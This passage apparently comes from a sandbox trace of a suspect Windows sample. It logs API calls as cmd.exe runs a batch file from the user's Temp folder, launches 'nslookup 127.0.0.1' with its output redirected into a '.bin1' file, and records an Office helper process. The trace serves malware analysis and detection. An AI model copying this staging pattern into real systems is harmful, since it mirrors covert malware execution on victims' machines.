(HeapHandle=0x2e0000, Flags=0x8, Size=0x4010) returned 0x304d00 [0140.327] GetProcessHeap () returned 0x2e0000 [0140.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fccc0 | out: hHeap=0x2e0000) returned 1 [0140.327] GetConsoleOutputCP () returned 0x1b5 [0140.327] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab1bfe0 | out: lpCPInfo=0x4ab1bfe0) returned 1 [0140.327] GetUserDefaultLCID () returned 0x409 [0140.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab17b50, cchData=8 | out: lpLCData=":") returned 2 [0140.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f700, cchData=128 | out: lpLCData="0") returned 2 [0140.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18f700, cchData=128 | out: lpLCData="0") returned 2 [0140.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18f700, cchData=128 | out: lpLCData="1") returned 2 [0140.327] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab2a740, cchData=8 | out: lpLCData="/") returned 2 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab2a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab2a460, cchData=32 | out: lpLCData="Tue") returned 4 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab2a420, cchData=32 | out: lpLCData="Wed") returned 4 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab2a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab2a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab2a360, cchData=32 | out: lpLCData="Sat") returned 4 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab2a700, cchData=32 | out: lpLCData="Sun") returned 4 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab17b40, cchData=8 | out: lpLCData=".") returned 2 [0140.328] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab2a4e0, cchData=8 | out: lpLCData=",") returned 2 [0140.328] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0140.329] GetProcessHeap () returned 0x2e0000 [0140.329] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20c) returned 0x2fb8a0 [0140.329] GetConsoleTitleW (in: lpConsoleTitle=0x2fb8a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0140.329] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0140.329] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0140.329] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0140.329] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0140.331] GetProcessHeap () returned 0x2e0000 [0140.331] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4012) returned 0x2fccc0 [0140.331] GetProcessHeap () returned 0x2e0000 [0140.331] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fccc0 | out: hHeap=0x2e0000) returned 1 [0140.331] _wcsicmp (_String1="nslookup", _String2=")") returned 69 [0140.331] _wcsicmp (_String1="FOR", _String2="nslookup") returned -8 [0140.331] _wcsicmp (_String1="FOR/?", _String2="nslookup") returned -8 [0140.331] _wcsicmp (_String1="IF", _String2="nslookup") returned -5 [0140.331] _wcsicmp (_String1="IF/?", _String2="nslookup") returned -5 [0140.331] _wcsicmp (_String1="REM", _String2="nslookup") returned 4 [0140.331] _wcsicmp (_String1="REM/?", _String2="nslookup") returned 4 [0140.331] GetProcessHeap () returned 0x2e0000 [0140.331] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xb0) returned 0x2fbac0 [0140.332] GetProcessHeap () returned 0x2e0000 [0140.332] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x22) returned 0x2f4600 [0140.332] GetProcessHeap () returned 0x2e0000 [0140.332] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x28) returned 0x2f4630 [0140.332] GetProcessHeap () returned 0x2e0000 [0140.332] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x38) returned 0x2f6500 [0140.335] GetProcessHeap () returned 0x2e0000 [0140.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x6e) returned 0x2fbb80 [0140.335] GetProcessHeap () returned 0x2e0000 [0140.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x28) returned 0x2f4660 [0140.335] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.335] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.335] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.335] GetFileType (hFile=0x7) returned 0x2 [0140.342] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0140.342] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f5d8 | out: lpMode=0x18f5d8) returned 1 [0140.342] _dup (_FileHandle=1) returned 3 [0140.343] _close (_FileHandle=1) returned 0 [0140.343] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0140.343] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x18f588, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0140.343] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0140.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0140.343] GetFileType (hFile=0x50) returned 0x1 [0140.343] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8b4 [0140.343] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x18f5e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f5e8*=0) returned 0x8b3 [0140.343] ReadFile (in: hFile=0x50, lpBuffer=0x18f5d8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f580, lpOverlapped=0x0 | out: lpBuffer=0x18f5d8*, lpNumberOfBytesRead=0x18f580*=0x1, lpOverlapped=0x0) returned 1 [0140.343] GetConsoleTitleW (in: lpConsoleTitle=0x18f610, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0140.344] _wcsicmp (_String1="nslookup", _String2="DIR") returned 10 [0140.344] _wcsicmp (_String1="nslookup", _String2="ERASE") returned 9 [0140.344] _wcsicmp (_String1="nslookup", _String2="DEL") returned 10 [0140.344] _wcsicmp (_String1="nslookup", _String2="TYPE") returned -6 [0140.344] _wcsicmp (_String1="nslookup", _String2="COPY") returned 11 [0140.344] _wcsicmp (_String1="nslookup", _String2="CD") returned 11 [0140.344] _wcsicmp (_String1="nslookup", _String2="CHDIR") returned 11 [0140.344] _wcsicmp (_String1="nslookup", _String2="RENAME") returned -4 [0140.344] _wcsicmp (_String1="nslookup", _String2="REN") returned -4 [0140.344] _wcsicmp (_String1="nslookup", _String2="ECHO") returned 9 [0140.344] _wcsicmp (_String1="nslookup", _String2="SET") returned -5 [0140.344] _wcsicmp (_String1="nslookup", _String2="PAUSE") returned -2 [0140.344] _wcsicmp (_String1="nslookup", _String2="DATE") returned 10 [0140.344] _wcsicmp (_String1="nslookup", _String2="TIME") returned -6 [0140.344] _wcsicmp (_String1="nslookup", _String2="PROMPT") returned -2 [0140.344] _wcsicmp (_String1="nslookup", _String2="MD") returned 1 [0140.344] _wcsicmp (_String1="nslookup", _String2="MKDIR") returned 1 [0140.344] _wcsicmp (_String1="nslookup", _String2="RD") returned -4 [0140.344] _wcsicmp (_String1="nslookup", _String2="RMDIR") returned -4 [0140.344] _wcsicmp (_String1="nslookup", _String2="PATH") returned -2 [0140.344] _wcsicmp (_String1="nslookup", _String2="GOTO") returned 7 [0140.344] _wcsicmp (_String1="nslookup", _String2="SHIFT") returned -5 [0140.344] _wcsicmp (_String1="nslookup", _String2="CLS") returned 11 [0140.344] _wcsicmp (_String1="nslookup", _String2="CALL") returned 11 [0140.344] _wcsicmp (_String1="nslookup", _String2="VERIFY") returned -8 [0140.344] _wcsicmp (_String1="nslookup", _String2="VER") returned -8 [0140.344] _wcsicmp (_String1="nslookup", _String2="VOL") returned -8 [0140.344] _wcsicmp (_String1="nslookup", _String2="EXIT") returned 9 [0140.344] _wcsicmp (_String1="nslookup", _String2="SETLOCAL") returned -5 [0140.345] _wcsicmp (_String1="nslookup", _String2="ENDLOCAL") returned 9 [0140.345] _wcsicmp (_String1="nslookup", _String2="TITLE") returned -6 [0140.345] _wcsicmp (_String1="nslookup", _String2="START") returned -5 [0140.345] _wcsicmp (_String1="nslookup", _String2="DPATH") returned 10 [0140.345] _wcsicmp (_String1="nslookup", _String2="KEYS") returned 3 [0140.345] _wcsicmp (_String1="nslookup", _String2="MOVE") returned 1 [0140.345] _wcsicmp (_String1="nslookup", _String2="PUSHD") returned -2 [0140.345] _wcsicmp (_String1="nslookup", _String2="POPD") returned -2 [0140.345] _wcsicmp (_String1="nslookup", _String2="ASSOC") returned 13 [0140.345] _wcsicmp (_String1="nslookup", _String2="FTYPE") returned 8 [0140.345] _wcsicmp (_String1="nslookup", _String2="BREAK") returned 12 [0140.345] _wcsicmp (_String1="nslookup", _String2="COLOR") returned 11 [0140.345] _wcsicmp (_String1="nslookup", _String2="MKLINK") returned 1 [0140.345] _wcsicmp (_String1="nslookup", _String2="DIR") returned 10 [0140.345] _wcsicmp (_String1="nslookup", _String2="ERASE") returned 9 [0140.345] _wcsicmp (_String1="nslookup", _String2="DEL") returned 10 [0140.345] _wcsicmp (_String1="nslookup", _String2="TYPE") returned -6 [0140.345] _wcsicmp (_String1="nslookup", _String2="COPY") returned 11 [0140.345] _wcsicmp (_String1="nslookup", _String2="CD") returned 11 [0140.345] _wcsicmp (_String1="nslookup", _String2="CHDIR") returned 11 [0140.345] _wcsicmp (_String1="nslookup", _String2="RENAME") returned -4 [0140.345] _wcsicmp (_String1="nslookup", _String2="REN") returned -4 [0140.345] _wcsicmp (_String1="nslookup", _String2="ECHO") returned 9 [0140.345] _wcsicmp (_String1="nslookup", _String2="SET") returned -5 [0140.345] _wcsicmp (_String1="nslookup", _String2="PAUSE") returned -2 [0140.345] _wcsicmp (_String1="nslookup", _String2="DATE") returned 10 [0140.345] _wcsicmp (_String1="nslookup", _String2="TIME") returned -6 [0140.345] _wcsicmp (_String1="nslookup", _String2="PROMPT") returned -2 [0140.345] _wcsicmp (_String1="nslookup", _String2="MD") returned 1 [0140.345] _wcsicmp (_String1="nslookup", _String2="MKDIR") returned 1 [0140.345] _wcsicmp (_String1="nslookup", _String2="RD") returned -4 [0140.345] _wcsicmp (_String1="nslookup", _String2="RMDIR") returned -4 [0140.345] _wcsicmp (_String1="nslookup", _String2="PATH") returned -2 [0140.345] _wcsicmp (_String1="nslookup", _String2="GOTO") returned 7 [0140.345] _wcsicmp (_String1="nslookup", _String2="SHIFT") returned -5 [0140.345] _wcsicmp (_String1="nslookup", _String2="CLS") returned 11 [0140.345] _wcsicmp (_String1="nslookup", _String2="CALL") returned 11 [0140.345] _wcsicmp (_String1="nslookup", _String2="VERIFY") returned -8 [0140.346] _wcsicmp (_String1="nslookup", _String2="VER") returned -8 [0140.346] _wcsicmp (_String1="nslookup", _String2="VOL") returned -8 [0140.346] _wcsicmp (_String1="nslookup", _String2="EXIT") returned 9 [0140.346] _wcsicmp (_String1="nslookup", _String2="SETLOCAL") returned -5 [0140.346] _wcsicmp (_String1="nslookup", _String2="ENDLOCAL") returned 9 [0140.346] _wcsicmp (_String1="nslookup", _String2="TITLE") returned -6 [0140.346] _wcsicmp (_String1="nslookup", _String2="START") returned -5 [0140.346] _wcsicmp (_String1="nslookup", _String2="DPATH") returned 10 [0140.346] _wcsicmp (_String1="nslookup", _String2="KEYS") returned 3 [0140.346] _wcsicmp (_String1="nslookup", _String2="MOVE") returned 1 [0140.346] _wcsicmp (_String1="nslookup", _String2="PUSHD") returned -2 [0140.346] _wcsicmp (_String1="nslookup", _String2="POPD") returned -2 [0140.346] _wcsicmp (_String1="nslookup", _String2="ASSOC") returned 13 [0140.346] _wcsicmp (_String1="nslookup", _String2="FTYPE") returned 8 [0140.346] _wcsicmp (_String1="nslookup", _String2="BREAK") returned 12 [0140.346] _wcsicmp (_String1="nslookup", _String2="COLOR") returned 11 [0140.346] _wcsicmp (_String1="nslookup", _String2="MKLINK") returned 1 [0140.346] _wcsicmp (_String1="nslookup", _String2="FOR") returned 8 [0140.346] _wcsicmp (_String1="nslookup", _String2="IF") returned 5 [0140.346] _wcsicmp (_String1="nslookup", _String2="REM") returned -4 [0140.346] GetProcessHeap () returned 0x2e0000 [0140.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2fbc00 [0140.346] GetProcessHeap () returned 0x2e0000 [0140.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x3a) returned 0x2f8970 [0140.346] _wcsnicmp (_String1="nslo", _String2="cmd ", _MaxCount=0x4) returned 11 [0140.347] GetProcessHeap () returned 0x2e0000 [0140.347] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x420) returned 0x2e1320 [0140.347] SetErrorMode (uMode=0x0) returned 0x0 [0140.347] SetErrorMode (uMode=0x1) returned 0x0 [0140.347] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2e1330, lpFilePart=0x18eea0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x18eea0*="system32") returned 0x13 [0140.347] SetErrorMode (uMode=0x0) returned 0x1 [0140.347] GetProcessHeap () returned 0x2e0000 [0140.347] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2e1320, Size=0x4a) returned 0x2e1320 [0140.347] GetProcessHeap () returned 0x2e0000 [0140.347] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2e1320) returned 0x4a [0140.347] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0140.347] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0140.347] GetProcessHeap () returned 0x2e0000 [0140.347] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x104) returned 0x2fbe20 [0140.347] GetProcessHeap () returned 0x2e0000 [0140.347] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1f8) returned 0x2fbf30 [0140.351] GetProcessHeap () returned 0x2e0000 [0140.351] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2fbf30, Size=0x106) returned 0x2fbf30 [0140.351] GetProcessHeap () returned 0x2e0000 [0140.351] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fbf30) returned 0x106 [0140.351] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab0f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0140.351] GetProcessHeap () returned 0x2e0000 [0140.351] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xe8) returned 0x2fc050 [0140.351] GetProcessHeap () returned 0x2e0000 [0140.351] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2fc050, Size=0x7e) returned 0x2fc050 [0140.351] GetProcessHeap () returned 0x2e0000 [0140.351] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc050) returned 0x7e [0140.352] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0140.352] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\nslookup.*", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0x2fc0e0 [0140.352] GetProcessHeap () returned 0x2e0000 [0140.352] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x28) returned 0x2f4690 [0140.352] FindClose (in: hFindFile=0x2fc0e0 | out: hFindFile=0x2fc0e0) returned 1 [0140.353] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\nslookup.COM", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0xffffffffffffffff [0140.353] GetLastError () returned 0x2 [0140.353] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\nslookup.EXE", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0x2fc0e0 [0140.353] GetProcessHeap () returned 0x2e0000 [0140.353] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f4690, Size=0x8) returned 0x2fc140 [0140.353] FindClose (in: hFindFile=0x2fc0e0 | out: hFindFile=0x2fc0e0) returned 1 [0140.353] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0140.353] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0140.353] GetConsoleTitleW (in: lpConsoleTitle=0x18f160, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0140.353] InitializeProcThreadAttributeList (in: lpAttributeList=0x18ef18, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18eed8 | out: lpAttributeList=0x18ef18, lpSize=0x18eed8) returned 1 [0140.353] UpdateProcThreadAttribute (in: lpAttributeList=0x18ef18, dwFlags=0x0, Attribute=0x60001, lpValue=0x18eec8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18ef18, lpPreviousValue=0x0) returned 1 [0140.353] GetStartupInfoW (in: lpStartupInfo=0x18f030 | out: lpStartupInfo=0x18f030*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0140.353] GetProcessHeap () returned 0x2e0000 [0140.353] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20) returned 0x2f4690 [0140.353] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0140.353] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0140.353] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0140.353] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0140.353] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0140.354] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0140.354] GetProcessHeap () returned 0x2e0000 [0140.354] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f4690 | out: hHeap=0x2e0000) returned 1 [0140.354] GetProcessHeap () returned 0x2e0000 [0140.354] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x2fc0e0 [0140.355] lstrcmpW (lpString1="\\nslookup.exe", lpString2="\\XCOPY.EXE") returned -1 [0140.356] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\nslookup.exe", lpCommandLine="nslookup 127.0.0.1 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x18ef50*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="nslookup 127.0.0.1 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ef00 | out: lpCommandLine="nslookup 127.0.0.1 ", lpProcessInformation=0x18ef00*(hProcess=0x58, hThread=0x54, dwProcessId=0xb84, dwThreadId=0xbf8)) returned 1 [0140.366] CloseHandle (hObject=0x54) returned 1 [0140.366] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0140.366] GetProcessHeap () returned 0x2e0000 [0140.366] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2facb0 | out: hHeap=0x2e0000) returned 1 [0140.366] GetEnvironmentStringsW () returned 0x2facb0* [0140.366] GetProcessHeap () returned 0x2e0000 [0140.366] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xac0) returned 0x2f8b10 [0140.366] FreeEnvironmentStringsW (penv=0x2facb0) returned 1 [0140.366] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0140.923] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x18ee48 | out: lpExitCode=0x18ee48*=0x0) returned 1 [0140.923] CloseHandle (hObject=0x58) returned 1 [0140.923] _vsnwprintf (in: _Buffer=0x18f0b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x18ee58 | out: _Buffer="00000000") returned 8 [0140.923] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0140.923] GetProcessHeap () returned 0x2e0000 [0140.923] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f8b10 | out: hHeap=0x2e0000) returned 1 [0140.923] GetEnvironmentStringsW () returned 0x2f8b10* [0140.923] GetProcessHeap () returned 0x2e0000 [0140.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xae6) returned 0x309810 [0140.923] FreeEnvironmentStringsW (penv=0x2f8b10) returned 1 [0140.923] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0140.923] GetProcessHeap () returned 0x2e0000 [0140.923] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x309810 | out: hHeap=0x2e0000) returned 1 [0140.923] GetEnvironmentStringsW () returned 0x2f8b10* [0140.923] GetProcessHeap () returned 0x2e0000 [0140.923] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xae6) returned 0x309810 [0140.923] FreeEnvironmentStringsW (penv=0x2f8b10) returned 1 [0140.923] GetProcessHeap () returned 0x2e0000 [0140.923] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc0e0 | out: hHeap=0x2e0000) returned 1 [0140.924] DeleteProcThreadAttributeList (in: lpAttributeList=0x18ef18 | out: lpAttributeList=0x18ef18) [0140.924] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0140.925] _close (_FileHandle=3) returned 0 [0140.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.925] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0140.925] _get_osfhandle (_FileHandle=1) returned 0x7 [0140.925] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab0e194 | out: lpMode=0x4ab0e194) returned 1 [0140.925] _get_osfhandle (_FileHandle=0) returned 0x3 [0140.925] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab0e198 | out: lpMode=0x4ab0e198) returned 1 [0140.926] SetConsoleInputExeNameW () returned 0x1 [0140.926] GetConsoleOutputCP () returned 0x1b5 [0140.926] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab1bfe0 | out: lpCPInfo=0x4ab1bfe0) returned 1 [0140.926] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0140.926] exit (_Code=0) Process: id = "29" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x6203f000" os_pid = "0xaf4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x330" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 328 